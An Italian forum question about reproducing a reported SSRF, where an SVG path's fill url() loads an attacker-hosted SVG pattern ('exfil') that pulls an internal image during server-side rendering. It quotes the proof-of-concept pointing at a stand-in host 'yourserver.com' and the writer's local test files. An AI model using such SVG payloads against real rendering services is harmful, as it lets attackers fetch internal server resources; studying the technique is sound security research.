Ho letto questo rapporto interessante che descrive una vulnerabilità SSRF che consente di recuperare immagini interne utilizzando la proprietà url in un elemento path. Tuttavia, anche se questa vulnerabilità si basa molto probabilmente sul rendering del server dell'immagine, non sono stato in grado di riprodurre il modo in cui questo è stato realizzato tramite un semplice documento HTML.
Da quanto ho capito, è stato usato un elemento path per chiamare elementi svg esterni sotto il controllo dell'attaccante:
<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"
dove poc.svg
contiene questo:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
<image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
</pattern>
</defs>
</svg>
Suppongo che la parte <redacted>
stia puntando a un'immagine nel server vulnerabile. Credo che <pattern id="exfil">
sia importante perché molti elementi svg richiedono quel tipo di identificatore ( id
) poiché fanno riferimento ad altri elementi nello stesso documento. Tuttavia, non sono stato in grado di replicare questo modello con il parametro "fill".
Questo è fondamentalmente ciò che sto facendo:
<html>
<body>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
</svg>
</body>
</html>
e otherpoc.svg:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
<image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
</pattern>
</defs>
</svg>
Ora, funziona correttamente. Se avessi un file google.png come risorsa locale, questo sarebbe stato recuperato come previsto. Tuttavia, i percorsi assoluti (come in <path fill="url(http://server.com/otherpoc.svg#exfil)"
) non sembrano funzionare (l'url non è stato risolto). Se vuoi testare questo, ricorda di usare Firefox o altra navigazione che permetta questo tipo di risoluzione dell'URL.
Apprezzerei qualsiasi aiuto.